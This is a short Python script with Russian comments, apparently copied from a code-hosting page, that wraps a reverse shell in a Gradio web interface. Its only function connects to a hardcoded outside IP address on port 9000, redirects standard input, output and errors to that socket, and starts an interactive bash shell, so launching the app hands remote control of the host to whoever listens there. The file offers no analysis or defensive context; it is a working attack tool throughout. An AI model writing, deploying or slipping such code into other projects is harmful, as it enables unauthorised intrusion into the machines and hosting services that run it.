import gradio as gr | |
import socket | |
import subprocess | |
import os | |
def start_reverse_shell(): | |
# IP и порт, на который будет отправлен реверси шел | |
RHOST = '45.155.205.202' # Замените на IP вашей машины | |
RPORT = 9000 # Замените на порт вашей машины | |
# Создаем сокет | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((RHOST, RPORT)) | |
# Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) | |
os.dup2(s.fileno(), 2) | |
# Запускаем шел | |
subprocess.call(["/bin/bash", "-i"]) | |
return "Reverse shell started!" | |
# Создаем интерфейс Gradio | |
iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True) | |
# Запускаем интерфейс | |
iface.launch() |